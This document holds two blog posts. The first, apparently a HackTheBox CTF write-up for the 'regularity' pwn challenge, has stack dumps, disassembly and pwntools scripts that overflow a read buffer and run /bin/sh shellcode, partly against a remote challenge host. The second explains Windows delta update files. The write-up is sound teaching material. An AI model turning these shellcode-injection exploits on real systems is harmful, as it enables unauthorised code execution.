7ffe22766b10: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b20: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b30: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b40: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b50: 0000 0000 0000 0000 0000 0000 0000 0000  ................
7ffe22766b60: 0000 0000 0000 0000 1e10 4000 0000 0000  ..........@.....
7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000  ..........v"....
7ffe22766b80: 0000 0000 0000 0000 fe82 7622 fe7f 0000  ..........v"....
7ffe22766b90: 2483 7622 fe7f 0000 6283 7622 fe7f 0000  $.v"....b.v"....
7ffe22766ba0: 8683 7622 fe7f 0000 9a83 7622 fe7f 0000  ..v"......v"....
7ffe22766bb0: d083 7622 fe7f 0000 0284 7622 fe7f 0000  ..v"......v"....
7ffe22766bc0: 0d84 7622 fe7f 0000 2084 7622 fe7f 0000  ..v".... .v"....
7ffe22766bd0: 4e84 7622 fe7f 0000 6584 7622 fe7f 0000  N.v"....e.v"....
7ffe22766be0: 7684 7622 fe7f 0000 8684 7622 fe7f 0000  v.v"......v"....
7ffe22766bf0: a384 7622 fe7f 0000 c884 7622 fe7f 0000  ..v"......v"....
7ffe22766c00: d784 7622 fe7f 0000 ec84 7622 fe7f 0000  ..v"......v"....
7ffe22766c10: 2485 7622 fe7f 0000 d285 7622 fe7f 0000  $.v"......v"....
7ffe22766c20: 0b86 7622 fe7f 0000 5386 7622 fe7f 0000  ..v"....S.v"....
7ffe22766c30: 6b86 7622 fe7f 0000 8686 7622 fe7f 0000  k.v"......v"....
7ffe22766c40: 9986 7622 fe7f 0000 a186 7622 fe7f 0000  ..v"......v"....
7ffe22766c50: cf86 7622 fe7f 0000 ff86 7622 fe7f 0000  ..v"......v"....
7ffe22766c60: 1387 7622 fe7f 0000 2087 7622 fe7f 0000  ..v".... .v"....
7ffe22766c70: 3a87 7622 fe7f 0000 5387 7622 fe7f 0000  :.v"....S.v"....
7ffe22766c80: 6387 7622 fe7f 0000 7c87 7622 fe7f 0000  c.v"....|.v"....
7ffe22766c90: 9b87 7622 fe7f 0000 aa87 7622 fe7f 0000  ..v"......v"....
7ffe22766ca0: c387 7622 fe7f 0000 d487 7622 fe7f 0000  ..v"......v"....
7ffe22766cb0: ed87 7622 fe7f 0000 0088 7622 fe7f 0000  ..v"......v"....
7ffe22766cc0: 1e88 7622 fe7f 0000 3b88 7622 fe7f 0000  ..v"....;.v"....
7ffe22766cd0: 4688 7622 fe7f 0000 4e88 7622 fe7f 0000  F.v"....N.v"....
7ffe22766ce0: 6e88 7622 fe7f 0000 df8f 7622 fe7f 0000  n.v"......v"....
7ffe22766cf0: 0000 0000 0000 0000 2100 0000 0000 0000  ........!.......
7ffe22766d00: 00a0 fdfa 2677 0000 3300 0000 0000 0000  ....&w..3.......
7ffe22766d10: 300e 0000 0000 0000 1000 0000 0000 0000  0...............
7ffe22766d20: fffb ebbf 0000 0000 0600 0000 0000 0000  ................
7ffe22766d30: 0010 0000 0000 0000 1100 0000 0000 0000  ................
7ffe22766d40: 6400 0000 0000 0000 0300 0000 0000 0000  d...............
7ffe22766d50: 4000 4000 0000 0000 0400 0000 0000 0000  @.@.............
7ffe22766d60: 3800 0000 0000 0000 0500 0000 0000 0000  8...............
7ffe22766d70: 0400 0000 0000 0000 0700 0000 0000 0000  ................
7ffe22766d80: 0000 0000 0000 0000 0800 0000 0000 0000  ................
7ffe22766d90: 0000 0000 0000 0000 0900 0000 0000 0000  ................
7ffe22766da0: 0010 4000 0000 0000 0b00 0000 0000 0000  ..@.............
7ffe22766db0: e803 0000 0000 0000 0c00 0000 0000 0000  ................
7ffe22766dc0: e803 0000 0000 0000 0d00 0000 0000 0000  ................
7ffe22766dd0: e803 0000 0000 0000 0e00 0000 0000 0000  ................
7ffe22766de0: e803 0000 0000 0000 1700 0000 0000 0000  ................
7ffe22766df0: 0000 0000 0000 0000 1900 0000 0000 0000  ................
7ffe22766e00: 696e 7622 fe7f 0000 1a00 0000 0000 0000  inv"............
7ffe22766e10: 0200 0000 0000 0000 1f00 0000 0000 0000  ................
7ffe22766e20: eb8f 7622 fe7f 0000 0f00 0000 0000 0000  ..v"............
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

And with the shellcode loaded to [RSP] (top of stack), without overwriting the original return address (5210 4000 0000 0000):

7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e  ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424  ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889  ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161  .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000  aaaaaaaaR.@.....

Now the binary is not PIE (Position Independent Executable), but the stack is at a random address nonetheless, so we don't know the address where our shellcode was loaded. One common way to circumvent this is to partially overwrite an existing address in the same memory region (stack in our case). Because numbers and addresses are stored in little-endian order, and the lowest 1.5 bytes are not randomized (segments align to 0x1000), we can overwrite the lowest byte without corruption and overwrite 2 bytes with a 1/16 chance of hitting the exact target address.

As we can only write to the stack, we search there for stack addresses that point close to the area that we control.

For example this address won't work as it points far bellow (to higher address) than where it is. So if we would overwrite the lowest byte, we can reach 7ffe22768200 - 7ffe227682ff range, but our exploit must end with overwriting the lowest byte (f1 at 7ffe22766b78), otherwise we would overwrite other parts of the address as well. So with this address, we cannot make it point to our buffer.

7ffe22766b70: 0100 0000 0000 0000 f182 7622 fe7f 0000  ..........v"....

...

7ffe227682f1: 002e 2f72 6567 756c 6172 6974 7900 414c  ../regularity.AL

There is a good candidate by the end of our hexdump (at 7ffe22766e30). It points just 7ffe22766e79 - 7ffe22766e30 = 0x49 bytes bellow its location. So our overwritten range where we can return to is 7ffe22766e00 -> 7ffe22766eff if we insert relative jump instructions here, we can jump right to the beginning of our exploit code.

7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

Ok, but how are we going to overwrite so many bytes, when we can only overwrite by 0x10 bytes? Let's take a look again at our read function.

                     ssize_t __stdcall read(void)
     ssize_t           RAX:8          
     undefined1        Stack[-0x100...   local_100
                     read  
0040104b 48 81 ec        SUB        RSP,0x100
         00 01 00 00
00401052 b8 00 00        MOV        EAX,0x0
         00 00
00401057 bf 00 00        MOV        EDI,0x0
         00 00
0040105c 48 8d 34 24     LEA        RSI=>local_100,[RSP]
00401060 ba 10 01        MOV        EDX,0x110
         00 00
00401065 0f 05           SYSCALL
00401067 48 81 c4        ADD        RSP,0x100
         00 01 00 00
0040106e c3              RET

If we return to 00401052, we can skip SUB RSP,0x100 and still have ADD RSP,0x100 at the end, thus moving 0x100 down (to higher addresses) on the stack.

sc = asm(shellcraft.sh())

payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)

p.sendafter(b"days?\n", payload)

But this way, the return address moves 0x100 as well and we need it to point exactly to our partially overwritten address. We can do this by returning to 0040104b SUB RSP,0x100 thus the +0x100 and -0x100 result in 0, but RET still pops one value from the stack, so we can move one QWORD (8 bytes) at a time. This is the code so far:

sc = asm(shellcraft.sh())

payload = b''
payload += sc
payload += b'a'*(0x100-len(payload))
payload += p64(0x401052)

p.sendafter(b"days?\n", payload)

payload = b''
payload += p64(0x401052)*0x22
p.send(payload)

for i in range(0x16):
    payload = b''
    payload += p64(0x40104b)*0x22
    p.send(payload)

payload = b''
payload += p64(0x40104b)*0x21
p.send(payload)

And the stack state at this point.

7ffe22766a60: 0000 0000 0000 0000 6a68 48b8 2f62 696e  ........jhH./bin
7ffe22766a70: 2f2f 2f73 5048 89e7 6872 6901 0181 3424  ///sPH..hri...4$
7ffe22766a80: 0101 0101 31f6 566a 085e 4801 e656 4889  ....1.Vj.^H..VH.
7ffe22766a90: e631 d26a 3b58 0f05 6161 6161 6161 6161  .1.j;X..aaaaaaaa
7ffe22766aa0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ab0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ac0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ad0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766ae0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766af0: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b00: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b10: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b20: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b30: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b40: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b50: 6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
7ffe22766b60: 6161 6161 6161 6161 5210 4000 0000 0000  aaaaaaaaR.@.....
7ffe22766b70: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766b80: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766b90: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766ba0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bb0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bc0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bd0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766be0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766bf0: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c00: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c10: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c20: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c30: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c40: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c50: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c60: 5210 4000 0000 0000 5210 4000 0000 0000  R.@.....R.@.....
7ffe22766c70: 5210 4000 0000 0000 4b10 4000 0000 0000  R.@.....K.@.....
7ffe22766c80: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766c90: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766ca0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cb0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cc0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cd0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766ce0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766cf0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d30: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d40: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d50: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d60: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d70: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d80: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d90: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766da0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766db0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766dc0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766dd0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766de0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766df0: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766e30: 796e 7622 fe7f 0000 1b00 0000 0000 0000  ynv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

Now RSP = 7ffe22766d30 and RET = 7ffe22766e30 so we can overwrite the range 7ffe22766d30 - 7ffe22766e40. A relative jump instruction is e9 XXXXXXXX (5 bytes long) where XXXXXXXX is a 32 bit integer in little-endian format that denotes the byte offset relative to the NEXT instruction's address. Our target address is the beginning of our shellcode at 7ffe22766a68 so for example to 7ffe22766d30 we are going to write e933fdffff (7ffe22766a68 - (7ffe22766d30 + 5) = fffffd33).

7ffe22766d00: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d10: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d20: 4b10 4000 0000 0000 4b10 4000 0000 0000  K.@.....K.@.....
7ffe22766d30: e933 fdff ff00 0000 e92b fdff ff00 0000  .3.......+......
7ffe22766d40: e923 fdff ff00 0000 e91b fdff ff00 0000  .#..............
7ffe22766d50: e913 fdff ff00 0000 e90b fdff ff00 0000  ................
7ffe22766d60: e903 fdff ff00 0000 e9fb fcff ff00 0000  ................
7ffe22766d70: e9f3 fcff ff00 0000 e9eb fcff ff00 0000  ................
7ffe22766d80: e9e3 fcff ff00 0000 e9db fcff ff00 0000  ................
7ffe22766d90: e9d3 fcff ff00 0000 e9cb fcff ff00 0000  ................
7ffe22766da0: e9c3 fcff ff00 0000 e9bb fcff ff00 0000  ................
7ffe22766db0: e9b3 fcff ff00 0000 e9ab fcff ff00 0000  ................
7ffe22766dc0: e9a3 fcff ff00 0000 e99b fcff ff00 0000  ................
7ffe22766dd0: e993 fcff ff00 0000 e98b fcff ff00 0000  ................
7ffe22766de0: e983 fcff ff00 0000 e97b fcff ff00 0000  .........{......
7ffe22766df0: e973 fcff ff00 0000 e96b fcff ff00 0000  .s.......k......
7ffe22766e00: e963 fcff ff00 0000 e95b fcff ff00 0000  .c.......[......
7ffe22766e10: e953 fcff ff00 0000 e94b fcff ff00 0000  .S.......K......
7ffe22766e20: e943 fcff ff00 0000 e93b fcff ff00 0000  .C.......;......
7ffe22766e30: 006e 7622 fe7f 0000 1b00 0000 0000 0000  .nv"............
7ffe22766e40: 1c00 0000 0000 0000 1c00 0000 0000 0000  ................
7ffe22766e50: 2000 0000 0000 0000 0000 0000 0000 0000   ...............
7ffe22766e60: 0000 0000 0000 0000 006f 4015 c8a5 4bc6  .........o@...K.
7ffe22766e70: 6ae8 6d10 9f6c 0246 9278 3836 5f36 3400  j.m..l.F.x86_64.

After the RET, the next instruction is:

7ffe22766e00 e9 63 fc        JMP        7ffe22766a68
             ff ff

And then our shellcode:

7ffe22766a68 6a 68           PUSH       0x68
7ffe22766a6a 48 b8 2f        MOV        RAX,0x732f2f2f6e69622f
             62 69 6e 
             2f 2f 2f 73
7ffe22766a74 50              PUSH       RAX
7ffe22766a75 48 89 e7        MOV        RDI,RSP
7ffe22766a78 68 72 69        PUSH       0x1016972
             01 01
7ffe22766a7d 81 34 24        XOR        dword ptr [RSP],0x1010101
             01 01 01 01
7ffe22766a84 31 f6           XOR        ESI,ESI
7ffe22766a86 56              PUSH       RSI
7ffe22766a87 6a 08           PUSH       0x8
7ffe22766a89 5e              POP        RSI
7ffe22766a8a 48 01 e6        ADD        RSI,RSP
7ffe22766a8d 56              PUSH       RSI
7ffe22766a8e 48 89 e6        MOV        RSI,RSP
7ffe22766a91 31 d2           XOR        EDX,EDX
7ffe22766a93 6a 3b           PUSH       0x3b
7ffe22766a95 58              POP        RAX
7ffe22766a96 0f 05           SYSCALL

And so we get a shell. Of course we need to be a bit lucky, because the address we want to overwrite points 0x49 byte bellow itself. We always overwrite with 00, so if what we overwrite ends in 0x49, 0x39 ... 0x09 we won't hit our jump table. But we should have a good address with a 68.75% chance (if it's acrually fully random).

Here is the full solution:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm

p = None

def run():
    global p
    chall = "./regularity"
    context.binary = chall
    context.log_level = 'debug'
    p = process(chall)
#    p = remote("94.237.59.230", "43639")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    sc = asm(shellcraft.sh())

    payload = b''
    payload += sc
    payload += b'a'*(0x100-len(payload))
    payload += p64(0x401052)

    p.sendafter(b"days?\n", payload)

    payload = b''
    payload += p64(0x401052)*0x22
    p.send(payload)

    for i in range(0x16):
        payload = b''
        payload += p64(0x40104b)*0x22
        p.send(payload)

    payload = b''
    payload += p64(0x40104b)*0x21
    p.send(payload)

    payload = b''
    for i in range(0x20):
        payload += (b'\xe9'+pack('<i',-0x2cd-i*8)+b'\x00'*3)
    payload += b'\x00'
    p.send(payload)

    p.interactive()

if __name__ == "__main__":
    run()

The real problem is that this is not reliable as the address we partially overwrite is at a different location on the remote machine. I tried on remnux and it was. I adjusted the exploit code for it, but that one didn't work either. So let's move on to the actually working solution.

Attempt 2 #

As you can recall, this challenge was marked very easy so there must be a straightforward way to jump to our shellcode.

And there is, of course. So at the time of read syscall, RSI and RSP both point on our shellcode. And we have a gadget like this:

0x0000000000401041 : jmp rsi

So if we just return to 0x401041 right away, our shellcode gets executed.

The (much shorter) exploit code:

from pwn import *
from pwnlib.util.cyclic import cyclic_gen
from pwnlib.util.fiddling import enhex, xor
from struct import pack
from pwnlib import shellcraft
from pwnlib.asm import asm

p = None

def run():
    global p
    chall = "./regularity"
    context.binary = chall
    context.log_level = 'debug'
#    p = process(chall)
    p = remote("94.237.59.230", "43639")
    elf = ELF(chall)
#    libc = ELF("libc-2.31.so")

    sc = asm(shellcraft.sh())

    payload = b''
    payload += sc
    payload += b'a'*(0x100-len(payload))
    payload += p64(0x401041)

    p.sendafter(b"days?\n", payload)

    p.interactive()

if __name__ == "__main__":
    run()
https://blog.ukatemi.com/blog/2024-05-17-hackthebox-business-pwn-regularity/
Windows catalog updates
Show full content

Microsoft Cabinet archive files have MSCF magic at the beginning:

00000000: 4d53 4346 0000 0000 e3aa 0100 0000 0000  MSCF............
00000010: 4400 0000 0000 0000 0301 0100 1200 0400  D...............
00000020: 0000 0000 1400 0000 0000 1000 e3aa 0100  ................
00000030: e025 0000 0000 0000 0000 0000 2d07 0000  .%..........-...

Windows updates use forward and reverse differentials. They are located in the /f/ and /r/ folders respectively. Microsoft docs describe how it works.

In short there is a base version (a selected major software release) of an updateable file against which the deltas are calculated. An update for a specific version of Windows first applies the r (reverse) delta to obtain the base version, then it applies the f (forward) delta to produce the target (updated) version of the file.

File delta update process using forward and reverse differentials
File delta update process using forward and reverse differentials

For example here is a part of the directory structure from one of the updates (KB5012170):

├── amd64_microsoft-windows-s..boot-firmwareupdate_31bf3856ad364e35_10.0.19041.1880_none_294d9e3cbae1ff57
│   ├── f
│   │   ├── dbupdate.bin
│   │   └── dbxupdate.bin
│   └── r
│       ├── dbupdate.bin
│       └── dbxupdate.bin
└── amd64_microsoft-windows-s..boot-firmwareupdate_31bf3856ad364e35_10.0.19041.1880_none_294d9e3cbae1ff57.manifest

(yes those are .. characters in the directory name).

  46 Jul 13  2022 f/dbupdate.bin
7169 Jul 13  2022 f/dbxupdate.bin
  46 Jul 13  2022 r/dbupdate.bin
1064 Jul 13  2022 r/dbxupdate.bin

As you can see, the f and r directories contain files with the same names, but dbxupdate.bin files have different sizes. The reverse differential is much shorter (1064) than the forward (7169). This doesn't necessarily mean that the file changed, because the reverse differential may just describe the following operation: delete COUNT bytes from offset X. Whereas the forward diff needs to contain the specific bytes that are needed to be appended or inserted to the source file.

The *.manifest file describes how the related files need to be treated:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<assembly ...>
  <!--
    reducted for sake of simplicity
  -->
  <directories>
    <directory destinationPath="$(runtime.system32)\SecureBootUpdates" owner="true">
      <securityDescriptor name="WRP_DIR_DEFAULT_SDDL" />
    </directory>
  </directories>
  <file name="dbupdate.bin" destinationPath="$(runtime.system32)\SecureBootUpdates\" sourceName="dbupdate.bin" importPath="$(build.nttree)\" sourcePath=".\">
    <securityDescriptor name="WRP_FILE_DEFAULT_SDDL" />
    <asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>/6Yl+eMBve0mGQA+aiFg4qvQ7GUCV5eGvIcoRf4mEPw=</dsig:DigestValue>
    </asmv2:hash>
  </file>
  <file name="dbxupdate.bin" destinationPath="$(runtime.system32)\SecureBootUpdates\" sourceName="dbxupdate.bin" importPath="$(build.nttree)\" sourcePath=".\">
    <securityDescriptor name="WRP_FILE_DEFAULT_SDDL" />
    <asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
      <dsig:Transforms>
        <dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity" />
      </dsig:Transforms>
      <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha256" />
      <dsig:DigestValue>UlftZMySTmmlvwwOF9qD/RzOLIowjtvzkrluVmhhTqA=</dsig:DigestValue>
    </asmv2:hash>
  </file>
  <!--
    reducted for sake of simplicity
  -->
</assembly>

It describes where the related files can be found and what their target SHA256 hash is.

echo -n -E 'UlftZMySTmmlvwwOF9qD/RzOLIowjtvzkrluVmhhTqA=' | base64 -d | xxd -p -c 0
5257ed64cc924e69a5bf0c0e17da83fd1cce2c8a308edbf392b96e5668614ea0

One can use the delta_patch.py script (Windows only as it loads ApplyDeltaB and DeltaFree from msdelta.dll) to apply patches. So the patch operation may be the following:

delta_patch.py -i /tmp/dbxupdate-original.bin -o /tmp/dbxupdate-base.bin "${local}/r/dbxupdate.bin"
delta_patch.py -i /tmp/dbxupdate-base.bin -o /tmp/dbxupdate-new.bin "${update}/f/dbxupdate.bin"
# 5257ed64cc924e69a5bf0c0e17da83fd1cce2c8a308edbf392b96e5668614ea0 dbxupdate-original.bin
# 528728c4a643d366445d953c6357a45656795396c09ac93b8a984b74c4bda9c3 dbxupdate-base.bin
# 5257ed64cc924e69a5bf0c0e17da83fd1cce2c8a308edbf392b96e5668614ea0 dbxupdate-new.bin

The -original and -new versions match. Why?! Probably because r version is stored locally so that on a new update, the client can calculate the base version. But because in our case, the original version was in fact the target version as well, our local r matches the one in the patch. We can even check the hashes on Winbindex, they refer to consecutive versions of dbxupdate.bin.

There are n (null) updates that don't have base versions, or more precisely it's the b"" (empty file). For example dbxupdate2024.bin is such a file in KB5036892 introducing Microsoft 2023 DB and KEK certificates.

https://blog.ukatemi.com/blog/2024-05-07-windows-catalog-updates/